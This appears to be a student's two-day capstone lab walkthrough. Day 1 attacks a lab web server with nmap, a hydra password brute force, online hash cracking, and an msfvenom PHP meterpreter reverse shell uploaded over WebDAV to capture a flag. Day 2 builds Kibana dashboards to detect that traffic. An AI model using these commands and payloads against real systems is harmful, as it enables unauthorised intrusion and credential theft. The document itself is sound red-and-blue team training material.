Technical Walkthrough

Day 1

<https://labs.azure.com/virtualmachines>

Red V Blue (running)

Open Red V Blue

Open HyperV Manager

Open Capstone nested machine

Click enter

Username: vagrant

Password: tnargav

Command: sudo su

Command: filebeat modules enable apache

Command: filebeat setup

Command: metricbeat modules enable apache

Command: metricbeat setup

Command: packetbeat setup

Command: systemctl restart filebeat

Command: systemctl restart metricbeat

Command: systemctl restart packetbeat

Close the Capstone nested machine

Open the Kali nested machine

Username: root

Password: toor

Open terminal

Command: nmap 192.168.1.0/24

Open Web Browser

Navigate to: 192.168.1.105

Navigate through browser subfolders

192.168.1.105/company\_folders/company\_culture/file1.txt

Error Message:

ERROR: FILE MISSING. Please refer to company\_colders/secret\_folder/ for more information. ERROR: company\_folders/secret\_folder is no longer accessible to the public

Navigate to: 192.168.1.105/company\_folders/secret\_folder/

“For ashtons eyes only” Asking for Username & Password

Command: cd ../usr/share/wordlists | gunzip rockyou.gz

Command: hydra -l ashton -P /usr/share/wordlists/rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company\_folders/secret\_folder

Username: ashton Password: leopoldo

Enter credentials in browser popup

Personal Note:

In order to connect to our companies webdav server I need to use ryan’s account (Hash: d7dad0a5cd7c8376eeb50d69b3ccd352)

1. I need to open the folder on the left hand bar
2. I need to click “Other Locations”
3. I need to type “dav://172.16.84.205/webdav/”
4. I will be prompted for my yser (but i’ll use ryans account) and password
5. I can click and drag files into the share and reload my browser

Navigate to: <https://crackstation.net/>

Enter: d7dad0a5cd7c8376eeb50d69b3ccd352

Ryan’s Cracked Password: linux4u

Click Kali Icon in top-left

Click File Manager

Type: dav://192.168.1.105/webdav

Type Username: ryan Password: linux4u

Terminal: Navigate back to root

Command: msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.1.90 lport=4444 >> shell.php

Command: msfconsole

Command: use exploit/multi/handler

Command: set payload php/meterpreter/reverse\_tcp

Command: show options

Command: set LHOST 192.168.1.90

Command: exploit

Navigate to: 192.168.1.105/webdav

Type Username: ryan Password: linux4u

Click shell.php

Command: shell

Command: cd /

Command: cat flag.txt

Command: exit

Command: cd /

Command: download flag.txt

Day 2

<https://labs.azure.com/virtualmachines>

Red V Blue (running)

Open Red V Blue

Open Google Chrome (default is 4 Kibana tabs)

Kibana > Visualize and Explore Data > Dashboard

Click Create Dashboard

Click Add an existing

HTTP status codes for the top queries [Packetbeat] ECS

Top 10 HTTP requests [Packetbeat] ECS

Network Traffic Between Hosts [Packetbeat Flows] ECS

Top Hosts Creating Traffic [Packetbeat Flows] ECS

Connections over time [Packetbeat Flows] ECS

HTTP error codes [Packetbeat] ECS

Errors vs successful transactions [Packetbeat] ECS

HTTP Transactions [Packetbeat] ECS

Discovery Tab: Run source.ip: 192.168.1.90 and destination.ip: 192.168.1.105

Discovery Tab: Run url.path: /company\_folders/secret\_folder/

Tab #1: Click Dashboards on the left side.

Update Time for Today